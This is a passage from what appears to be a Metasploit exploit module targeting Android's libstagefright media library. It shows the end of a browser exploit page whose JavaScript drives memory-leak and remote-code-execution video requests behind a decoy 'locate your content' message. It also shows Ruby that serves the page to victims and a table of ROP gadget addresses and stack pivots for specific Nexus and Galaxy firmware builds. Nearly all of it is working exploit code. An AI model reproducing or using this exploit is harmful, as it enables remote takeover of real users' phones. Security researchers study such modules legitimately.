if (vector_vtable_addr != -1) {
uri += '&sfv=' + vector_vtable_addr;
}
return uri;
}
function reload_leak() {
to_id = -1;
var xhr = new XMLHttpRequest;
xhr.responseType = 'blob';
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status != 200 || !xhr.response) {
stop_everything();
return;
}
load_start = Date.now();
try {
//var url = URL.createObjectURL(xhr.response);
var a = new FileReader();
a.onload = function(e) {
//console.log('onload: ' + e.target.result);
video.src = e.target.result
};
a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
a.readAsDataURL(xhr.response);
} catch(e) {
console.log(' ERROR: ' + e.message);
stop_everything();
}
}
};
xhr.open('GET', get_uri(), true);
req_start = Date.now();
xhr.send();
}
function reload_rce() {
to_id = -1;
video.src = get_uri();
}
</script></head>
<body onload='start()'>
<video id=vid width=1px controls>
Your browser does not support VIDEO tags.
</video><br />
Please wait while we locate your content...
</body>
</html>
^
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
#
# Return some firmware-specific values to the caller.
#
# The VectorRVA field is extracted using the following command:
#
# $ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE
#
def get_details(my_target)
details = {
'lrx' => {
'VectorRVA' => 0x10ae30,
'PivotStrategy' => 'lrx',
'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc}
'Adjust' => 0x475cd # pop {r3, r4, pc}
},
'lmy-1' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-1',
'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc}
'Adjust' => 0x479b1 # pop {r3, r4, pc}
},
'lmy-2' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-2',
'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1
'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc}
'Adjust' => 0x479b1 # pop {r3, r4, pc}
},
'shamu / LYZ28E' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
'Adjust' => 0x44f81 # pop {r3, r4, pc}
},
'shamu / LYZ28J' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
'Adjust' => 0x44f81 # pop {r3, r4, pc}
},
'sm-g900v / OE1' => {
'VectorRVA' => 0x174048,
'PivotStrategy' => 'sm-g900v',
'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5
'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2
'Adjust' => 0x65421 # pop {r4, r5, pc}
}
}
details[my_target['Rop']]
end
end